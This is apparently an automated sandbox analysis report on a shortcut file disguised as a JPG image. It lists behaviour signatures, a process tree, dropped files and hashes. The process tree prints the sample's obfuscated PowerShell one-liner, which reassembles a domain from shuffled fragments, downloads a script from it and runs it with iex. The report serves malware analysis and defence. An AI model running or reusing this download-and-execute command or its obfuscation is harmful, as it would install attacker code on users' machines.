Analysis

  • max time kernel
    148s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 10:18

General

  • Target
    IMG_20260728_003329.jpg.lnk
  • Size 1KB
  • Sample260728-mcaeaathrg
  • SHA256 d7a6278d19ae67d09e1be289edc3518ddb8dc76349cb2ded250cbd487aef27b3
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260728_003329.jpg.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5320
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('p','v','r','w.','p','hoto','stayno','sho','rese','in')[8,2,1,0,5,9,6,3,7,4] -join $eajV) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4968
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5552
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9CC3.tmp" "c:\Users\Admin\AppData\Local\Temp\4s5rnp55\CSCB7A729644F11418EB81AF5BF4E265F32.TMP"
          4⤵
            PID:2756
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:1132

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            4s5rnp55.dll

            • Path C:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.dll
            • Size 3KB
            • SHA256 b944fc76bdb61387d588b41f152be8cf190ab375b0e7f66bb72a927b12951231
            • MD5 SHA1 SHA512 TLSH

            RES9CC3.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES9CC3.tmp
            • Size 1KB
            • SHA256 8607a92b84bbd3936ee7f23fae1393a893e9463ebb7770cadd2b82798700595f
            • MD5 SHA1 SHA512 TLSH

            4s5rnp55.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.0.cs
            • Size 203B
            • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
            • MD5 SHA1 SHA512 TLSH

            4s5rnp55.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4s5rnp55\4s5rnp55.cmdline
            • Size 369B
            • SHA256 f991b261c372caa4fe4115b4e0535f245b28fef3b106be9a3b4a5be0f481e439
            • MD5 SHA1 SHA512 TLSH

            CSCB7A729644F11418EB81AF5BF4E265F32.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\4s5rnp55\CSCB7A729644F11418EB81AF5BF4E265F32.TMP
            • Size 652B
            • SHA256 025a7be9f15f9236a163b2bc07e727b681071356af6c3477d01f59fb5d2e7e4c
            • MD5 SHA1 SHA512 TLSH

            memory/4968-9-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-2-0x00007FFDF3EFF000-0x00007FFDF3F00000-memory.dmp

            memory/4968-11-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-12-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-13-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-14-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-15-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-16-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-17-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-10-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-8-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-7-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-30-0x000002A57FCB0000-0x000002A57FCB8000-memory.dmp

            memory/4968-6-0x000002A57F8F0000-0x000002A57F912000-memory.dmp

            memory/4968-3-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-31-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-32-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp

            memory/4968-35-0x00007FFDF3D70000-0x00007FFDF4714000-memory.dmp